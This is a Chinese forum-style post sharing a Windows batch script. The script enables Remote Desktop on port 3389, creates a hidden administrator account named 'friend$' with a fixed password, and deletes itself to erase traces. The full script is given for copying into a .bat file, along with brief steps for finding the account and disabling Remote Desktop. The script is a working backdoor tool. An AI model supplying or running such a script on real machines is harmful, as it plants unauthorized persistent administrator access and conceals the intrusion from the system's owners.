呵呵,很高兴来到这里学习,今后希望大家多多指教。
我在学习dos命令和批处理时,突发奇想,就将原来的只能打开3389端口的批处理加强了一下,增加了建立隐藏账户并提权为管理员的功能,打开后此文件会自动删除!~
****************************************************************************
1.批处理功能说明:
该批处理双击打开执行后,会完全自动打开3389端口,建立一个叫做” friend$ “的用户,密码为:” hack “,并提升为管理员权限,且一般在命令提示符下用net user 查看是看不到所建立的账户的。并且当执行完毕后自定删除该文件销毁痕迹。
2.查看及删除隐藏账户方法:
要想查看此隐藏账户,可以在我的电脑——右键属性——管理——用户和组中看到所建立的账户。(可以在这个地方删除所建立的隐藏账户)
3.关闭打开的3389端口方法:
测试环境:windows7
我的电脑——右键属性——高级系统设置——远程选项卡——将远程桌面前的对勾去掉即可。
测试环境:windows xp
我的电脑——右键属性——远程选项卡——将远程桌面前的对勾去掉即可。
4.使用方法:
将以下代码复制到记事本中后将文件重命名为:3389+管理员提权批处理.bat
@echo off echo Windows Registry Editor Version 5.00>>3389.reg echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]>>3389.reg echo "fDenyTSConnections"=dword:00000000>>3389.reg echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp]>>3389.reg echo "PortNumber"=dword:00000d3d>>3389.reg echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp]>>3389.reg echo "PortNumber"=dword:00000d3d>>3389.reg regedit /s 3389.reg net user friend$ hack /add net localgroup administrators friend$ /add del 3389.reg del 3389+管理员提权批处理.bat